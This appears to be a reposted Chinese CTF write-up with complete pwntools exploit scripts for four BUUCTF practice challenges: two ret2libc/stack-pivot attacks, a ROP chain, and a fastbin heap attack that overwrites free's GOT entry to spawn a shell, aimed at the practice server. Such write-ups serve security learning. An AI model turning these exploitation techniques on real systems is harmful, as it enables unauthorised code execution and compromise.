PWN-PRACTICE-BUUCTF-9

PWN-PRACTICE-BUUCTF-9

    • [Black Watch 入群题]PWN
    • jarvisoj_level4
    • picoctf_2018_rop chain
    • [ZJCTF 2019]EasyHeap

[Black Watch 入群题]PWN

vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip
利用两次栈迁移
第一次栈迁移利用write函数打印出write函数的真实地址,由偏移计算libc基址,进而得到system和"/bin/sh"地址
第二次栈迁移执行system("/bin/sh")

#coding:utf-8
from pwn import *
context.arch='i386'
context.os='linux'
#io=process('./black_watch_spwn')
io=remote('node4.buuoj.cn',28976)
elf=ELF('./black_watch_spwn')
libc=ELF('./libc-2.23-x32.so')
s_addr=0x0804A300	#bss段上s的地址
leave_ret=0x08048511
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('name?')
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18)	#填充buf
payload+=p32(s_addr-4)	#fake ebp
payload+=p32(leave_ret)#覆盖eip
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('name?')
payload=p32(system)+p32(main_addr)+p32(binsh)
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18)+p32(s_addr-4)+p32(leave_ret)
io.send(payload)
io.interactive()

jarvisoj_level4

32位elf栈溢出,ret2libc

from pwn import *
#io=process('./jarvisoj_level4')
io=remote('node4.buuoj.cn',27767)
elf=ELF('./jarvisoj_level4')
libc=ELF('./libc-2.23-x32.so')
main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(binsh)
io.sendline(payload)
io.interactive()

picoctf_2018_rop chain

打印flag需要win1和win2非零且传入的参数a1=0xDEADBAAD
win_function1函数将win1赋为1
win_function2函数在win1非零且传入的参数a1=0xBAAAAAAD时将win2赋为1
vuln函数中gets函数构成栈溢出
构造rop先执行win_function1,然后执行win_function2,最后执行flag

from pwn import *
#io=process('./PicoCTF_2018_rop_chain')
io=remote('node4.buuoj.cn',28567)
elf=ELF('./PicoCTF_2018_rop_chain')
win1=elf.sym['win_function1']
win2=elf.sym['win_function2']
flag=elf.sym['flag']
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
io.recvuntil('Enter your input> ')
io.sendline(payload)
io.interactive()

[ZJCTF 2019]EasyHeap

参考:萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界

from pwn import *
io=remote("node4.buuoj.cn",27153)
#io=process("./easyheap")
elf=ELF("./easyheap")def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))heaparray=0x00000000006020E0 #.bss段上的一个地址,保存了每个chunk的地址
fake_chunk=heaparray-0x38+5  #fake chunk的prev_size字段,加上8字节后为0x7f,即fake chunk的size字段
system_plt=elf.plt["system"]
free_got=elf.got["free"]#gdb.attach(io)
#pause()create(0x10,"a"*0x10) #chunk0
create(0x10,"b"*0x10) #chunk1
create(0x60,"c"*0x10) #chunk2 因为要和fake chunk的0x7f匹配,所以是0x60
create(0x10,"/bin/sh\x00") #chunk3#pause()delete(2) #free chunk2 
payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)#让chunk2的fd指向fake chunk
edit(1,len(payload),payload)#利用堆溢出#pause()create(0x60,"c"*0x10) #chunk2
payload="d"*(0x20+3)+p64(free_got)
create(0x60,payload) #chunk4 把heaparray[0]改成了free_got#pause()payload=p64(system_plt)
edit(0,len(payload),payload)#heaparray[0]保存了free_got,free_got保存了free_plt,这里把free_plt替换成system_plt
delete(3)#system("/bin/sh\x00")#pause()io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438105.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSS一个元素同时使用多个类选择器(class selector)

CSS类选择器参考手册 一个元素同时使用多个类选择器 CSS中类选择器用点号表示。实际项目中一个div元素为了能被多个样式表匹配到&#xff08;样式复用&#xff09;&#xff0c;通常div的class中由好几段组成&#xff0c;如<div class"user login">能被.user和…

css 块元素、内联元素、内联块元素

元素就是标签&#xff0c;布局中常用的有三种标签&#xff0c;块元素、内联元素、内联块元素&#xff0c;了解这三种元素的特性&#xff0c;才能熟练的进行页面布局。 块元素&#xff1a; 块元素&#xff0c;也可以称为行元素&#xff0c;布局中常用的标签&#xff0c;如&…

PWN-PRACTICE-BUUCTF-10

PWN-PRACTICE-BUUCTF-10jarvisoj_level3_x64bjdctf_2020_babyrop2hitcontraining_uafjarvisoj_test_your_memoryjarvisoj_level3_x64 64位elf的栈溢出&#xff0c;ret2csu from pwn import * #context.log_leveldebug #ioprocess(./jarvisoj_level3_x64) ioremote(node4.buuo…

PWN-PRACTICE-BUUCTF-11

PWN-PRACTICE-BUUCTF-11bjdctf_2020_routerpicoctf_2018_buffer overflow 1pwnable_orwwustctf2020_getshellbjdctf_2020_router Linux 系统可以在一个命令行上执行多个命令:; --如果命令被分号(;)所分隔&#xff0c;那么命令会连续的执行下去&#xff0c;就算是错误的命令也会…

Redis与关系型数据库的同步问题

Redis是一个高性能的key-value数据库。 redis的出现&#xff0c;很大程度补偿了memcached这类key-value存储的不足&#xff0c;在部分场合可以对关系数据库起到很好的补充作用。它提供了Python&#xff0c;Ruby&#xff0c;Erlang&#xff0c;PHP客户端&#xff0c;使用很方便。…

Delphi各个版本和发展历史

Delphi&#xff0c;是Windows平台下著名的快速应用程序开发工具(Rapid Application Development&#xff0c;简称RAD)。它的前身&#xff0c;即是DOS时代盛行一时的“BorlandTurbo Pascal”&#xff0c;最早的版本由美国Borland&#xff08;宝兰&#xff09;公司于1995年开发。…

PWN-PRACTICE-BUUCTF-12

PWN-PRACTICE-BUUCTF-12cmcc_simpleroppicoctf_2018_buffer overflow 2babyfengshui_33c3_2016xdctf2015_pwn200cmcc_simplerop 静态编译的32位elf&#xff0c;找一个"int 80h"执行系统调用 前提是利用栈溢出读入字符串"/bin/sh\x00"&#xff0c;然后找po…

C# 基础——C#特性

.NET C# Web开发学习之路——C#特性 C#历史办版本及特性 语言版本发布时间.NET Framework要求Visual版本C# 1.02002.1.NET Framework 1.0Visual Studio .NET 2002C# 1.1\1.22003.4.NET Framework 1.1Visual Studio .NET 2003C# 2.02005.11.NET Framework 2.0Visual Studio 20…

PWN-PRACTICE-BUUCTF-13

PWN-PRACTICE-BUUCTF-13[ZJCTF 2019]Logininndy_ropmrctf2020_shellcodejarvisoj_level1[ZJCTF 2019]Login 参考&#xff1a;ZJCTF 2019 Pwn from pwn import * ioremote(node4.buuoj.cn,27513) #io process("./login") shell 0x400e88 io.recvuntil("user…

同步与异步系列之二 导读目录

.NET 同步与异步 之 EventWaitHandle&#xff08;Event通知&#xff09; &#xff08;十三&#xff09; .NET 同步与异步 之 Mutex &#xff08;十二&#xff09; .NET 同步与异步 之 线程安全的集合 (十一) .NET 同步与异步 之 警惕闭包&#xff08;十&#xff09; .NET 同…

PWN-PRACTICE-BUUCTF-14

PWN-PRACTICE-BUUCTF-14bbys_tu_2016ciscn_2019_n_3roarctf_2019_easy_pwngyctf_2020_borrowstackbbys_tu_2016 栈溢出&#xff0c;覆盖eip到printFlag函数 from pwn import * #ioprocess(./bbys_tu_2016) ioremote(node4.buuoj.cn,27817) elfELF(./bbys_tu_2016) #io.recvun…

.NET 实现并行的几种方式(一)

好久没有更新了&#xff0c;今天来一篇&#xff0c;算是《同步与异步》系列的开篇吧&#xff0c;加油&#xff0c;坚持下去&#xff08;PS:越来越懒了&#xff09;。 一、Thread 利用Thread 可以直接创建和控制线程&#xff0c;在我的认知里它是最古老的技术了。因为out了、所…

PWN-PRACTICE-BUUCTF-15

PWN-PRACTICE-BUUCTF-15axb_2019_fmt32wustctf2020_getshell_2others_babystackpwnable_startaxb_2019_fmt32 格式化字符串漏洞 第一次打印出printf的真实地址&#xff0c;进而计算libc基地址&#xff0c;得到system真实地址 第二次修改got表&#xff0c;使printf的got指向sys…

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheapmrctf2020_easyoverflow 覆盖main函数中的v5&#xff0c;使之为"n0t_r311y_f1g" from pwn import * rremote("node4.buuoj.cn",29521) payloada*…

REVERSE-PRACTICE-BUUCTF-32

REVERSE-PRACTICE-BUUCTF-32[第四章 CTF之APK章]数字壳的传说[第五章 CTF之RE章]Hello, RE[第五章 CTF之RE章]BabyAlgorithm[第五章 CTF之RE章]BabyConst[第五章 CTF之RE章]BabyLib[第五章 CTF之RE章]easy_rust[第五章 CTF之RE章]easy_go[第五章 CTF之RE章]easy_mfc[第四章 CTF…

.NET 实现并行的几种方式(二)

本随笔续接&#xff1a;.NET 实现并行的几种方式&#xff08;一&#xff09; 四、Task 3&#xff09;Task.NET 4.5 中的简易方式 在上篇随笔中&#xff0c;两个Demo使用的是 .NET 4.0 中的方式&#xff0c;代码写起来略显麻烦&#xff0c;这不 .NET 4.5提供了更加简洁的方…

PWN-PRACTICE-BUUCTF-17

PWN-PRACTICE-BUUCTF-17hitcontraining_heapcreatorwustctf2020_closedciscn_2019_es_7hitcon2014_stkofhitcontraining_heapcreator 单字节溢出&#xff0c;修改下一个chunk的size&#xff0c;造成chunk overlap&#xff0c;实现任意地址读写 参考&#xff1a;buuctf hitcont…

redis 和 数据库mysql之间的关系

https://www.zhihu.com/question/20734566 https://www.zhihu.com/question/19660689 http://blog.csdn.net/Ideality_hunter/article/details/77621643 redis和mysql要根据具体业务场景去选型 mysql&#xff1a;数据放在磁盘redis&#xff1a;数据放在内存 redis适合放一些…

PWN-PRACTICE-BUUCTF-18

PWN-PRACTICE-BUUCTF-18ciscn_2019_final_3ciscn_2019_s_9jarvisoj_level5pwnable_hacknoteciscn_2019_final_3 tcache dup 参考&#xff1a;[V&N2020 公开赛]easyTHeap ciscn_2019_final_3 ——heap中tcache的一些简单利用方法 # -*- coding:utf-8 -*- from pwn impor…

GPS/轨迹追踪、轨迹回放、围栏控制

折腾一个多月终于弄完了这个项目&#xff0c;起初都未曾接触GPS/轨迹追踪、轨迹回放、圈划围栏...等一些在百度地图或者Googel地图操作的一些业务&#xff0c;后端的业务相对来说简单点 cas单点登录&#xff0c;mongdb灵活的数据存储方式,ActiveMQ消息推送、Redis存储... 这篇…